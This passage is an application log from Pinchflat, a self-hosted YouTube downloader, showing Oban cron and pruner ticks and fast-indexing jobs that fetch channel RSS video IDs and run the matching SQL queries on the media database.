{"source":"oban","duration":153,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:07:26.743 [info] {"source":"oban","duration":512,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:07:56.744 [info] {"source":"oban","duration":475,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:08:00.526 [info] {"source":"oban","duration":131,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:08:26.745 [info] {"source":"oban","duration":525,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:08:56.746 [info] {"source":"oban","duration":501,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:09:00.527 [info] {"source":"oban","duration":154,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:09:26.747 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:09:56.749 [info] {"source":"oban","duration":575,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:10:00.528 [info] {"source":"oban","duration":111,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:10:26.750 [info] {"source":"oban","duration":443,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:10:41.360 [info] {"args":{"id":2},"id":645,"meta":{},"system_time":1784898641360017374,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 13:10:41.360 [debug] QUERY OK source="sources" db=0.1ms idle=1584.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 13:10:41.361 [debug] QUERY OK source="settings" db=0.5ms idle=1584.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:10:41.361 [debug] QUERY OK source="media_profiles" db=0.4ms idle=1008.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 13:10:41.361 [debug] QUERY OK source="settings" db=0.2ms idle=7.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:10:41.361 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 13:10:41.484 [debug] Media ids fetched from RSS: ["FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 13:10:41.485 [debug] QUERY OK source="media_items" db=0.7ms idle=124.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 13:10:41.486 [debug] QUERY OK source="media_items" db=0.2ms idle=125.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 13:10:41.486 [debug] QUERY OK source="tasks" db=0.0ms idle=124.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [648, 2, ~U[2026-07-24 13:10:41Z], ~U[2026-07-24 13:10:41Z]] 13:10:41.486 [info] {"args":{"id":2},"id":645,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":126760,"event":"job:stop","queue_time":28472,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 13:10:56.375 [info] {"args":{"id":1},"id":646,"meta":{},"system_time":1784898656375170314,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 13:10:56.375 [debug] QUERY OK source="sources" db=0.0ms idle=1599.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 13:10:56.375 [debug] QUERY OK source="settings" db=0.0ms idle=1599.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:10:56.375 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1007.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 13:10:56.375 [debug] QUERY OK source="settings" db=0.0ms idle=6.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:10:56.375 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 13:10:56.417 [debug] Media ids fetched from RSS: ["r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 13:10:56.418 [debug] QUERY OK source="media_items" db=0.2ms idle=42.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 13:10:56.420 [debug] QUERY OK source="media_items" db=2.1ms idle=42.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 13:10:56.421 [debug] QUERY OK source="tasks" db=0.0ms idle=45.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [649, 1, ~U[2026-07-24 13:10:56Z], ~U[2026-07-24 13:10:56Z]] 13:10:56.421 [info] {"args":{"id":1},"id":646,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":45961,"event":"job:stop","queue_time":341910,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 13:10:56.751 [info] {"source":"oban","duration":427,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:11:00.529 [info] {"source":"oban","duration":129,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:11:11.391 [info] {"args":{"id":3},"id":647,"meta":{},"system_time":1784898671391296456,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 13:11:11.391 [debug] QUERY OK source="sources" db=0.0ms idle=1615.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 13:11:11.391 [debug] QUERY OK source="settings" db=0.0ms idle=1615.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:11:11.391 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1008.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 13:11:11.391 [debug] QUERY OK source="settings" db=0.0ms idle=6.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:11:11.391 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 13:11:11.419 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 13:11:11.419 [debug] QUERY OK source="media_items" db=0.2ms idle=28.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 13:11:11.421 [debug] QUERY OK source="media_items" db=1.8ms idle=28.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 13:11:11.422 [debug] QUERY OK source="tasks" db=0.0ms idle=30.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [650, 3, ~U[2026-07-24 13:11:11Z], ~U[2026-07-24 13:11:11Z]] 13:11:11.422 [info] {"args":{"id":3},"id":647,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":31260,"event":"job:stop","queue_time":593008,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 13:11:26.752 [info] {"source":"oban","duration":500,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:11:56.753 [info] {"source":"oban","duration":517,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:12:00.531 [info] {"source":"oban","duration":155,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:12:26.754 [info] {"source":"oban","duration":531,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:12:56.755 [info] {"source":"oban","duration":580,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:13:00.531 [info] {"source":"oban","duration":100,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:13:26.756 [info] {"source":"oban","duration":563,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:13:56.757 [info] {"source":"oban","duration":458,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:14:00.532 [info] {"source":"oban","duration":161,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:14:26.758 [info] {"source":"oban","duration":437,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:14:56.759 [info] {"source":"oban","duration":404,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:15:00.533 [info] {"source":"oban","duration":169,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:15:26.760 [info] {"source":"oban","duration":443,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:15:56.761 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:16:00.534 [info] {"source":"oban","duration":121,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:16:26.762 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:16:56.763 [info] {"source":"oban","duration":278,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:17:00.535 [info] {"source":"oban","duration":145,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:17:26.764 [info] {"source":"oban","duration":464,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:17:56.765 [info] {"source":"oban","duration":468,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:18:00.536 [info] {"source":"oban","duration":150,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:18:26.766 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:18:56.767 [info] {"source":"oban","duration":345,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:19:00.537 [info] {"source":"oban","duration":177,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:19:26.768 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:19:56.769 [info] {"source":"oban","duration":431,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:20:00.538 [info] {"source":"oban","duration":154,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:20:26.770 [info] {"source":"oban","duration":473,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:20:41.986 [info] {"args":{"id":2},"id":648,"meta":{},"system_time":1784899241986124319,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 13:20:41.986 [debug] QUERY OK source="sources" db=0.0ms idle=210.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 13:20:41.986 [debug] QUERY OK source="settings" db=0.1ms idle=210.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:20:41.986 [debug] QUERY OK source="media_profiles" db=0.0ms idle=210.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 13:20:41.986 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:20:41.986 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 13:20:42.684 [debug] Media ids fetched from RSS: ["FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 13:20:42.685 [debug] QUERY OK source="media_items" db=0.1ms idle=698.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 13:20:42.685 [debug] QUERY OK source="media_items" db=0.2ms idle=698.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND 